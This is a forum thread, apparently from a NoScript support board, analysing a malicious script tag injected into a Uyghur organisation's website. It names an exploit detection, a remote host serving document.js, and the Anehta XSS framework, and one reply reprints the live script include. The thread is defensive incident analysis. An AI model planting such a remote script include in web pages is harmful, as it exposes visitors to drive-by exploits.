Hi forum members,

Look at the following malcode analysis:
exploit
Here are the details I encountered:

1. Virus identified: JS-CVE-2009-1136-A[Expl] (which is an Exploit)
2. Web address: wXw.uyghurcongress.org/En/home.asp
3. Malicious file identified by Avast!: m2m.net84.net/cn/document.js

Mentioned site with this document.js is the malcode residing site:

Code: Select all

[EDITED by me for security reasons and against scanner detection]^^script src="htxtp://m2m.net84.net/cn/document.js"^^/script 
And this is:
Title:
HTTP Error 403 Forbidden
URL: hXtp://m2m.net84.net/cn
Redirects: 301 -> hXtp://m2m.net84.net/cn/
where I find the following:

Code: Select all

 [again EDITED by me]
^a href="anehta-v0.6.0fixed/" anehta-v0.6.0fixed/^/a></li 
And this is at the crux of the malcode, because Description (packet storm's):
Anehta is a PHP/Javascript based platform to make cross site scripting and other web attacks easier.
Author: axis
Homepage: hXtp://code.google.com/p/anehta/

other redirect is to:
302 -> hXtp://error.000webhost.com/forbidden.html

Is NoScript protecting us against anehta driven exploits?

First, when you visit uyghurcongress (presumably) JavaScript is not allowed, so the exploit is thwarted right there.

Code: Select all

<script src="http://m2m.net84.net/cn/document.js"></script>
Second, even if you do Allow JavaScript on uyghurcongress, the exploit is still hosted on a foreign domain, so again the exploit is thwarted.

Third, the exploit page itself doesn't seem to be returning anything at the moment.
(I wonder if it might only do something if you're visiting from a .cn domain?)

Code: Select all
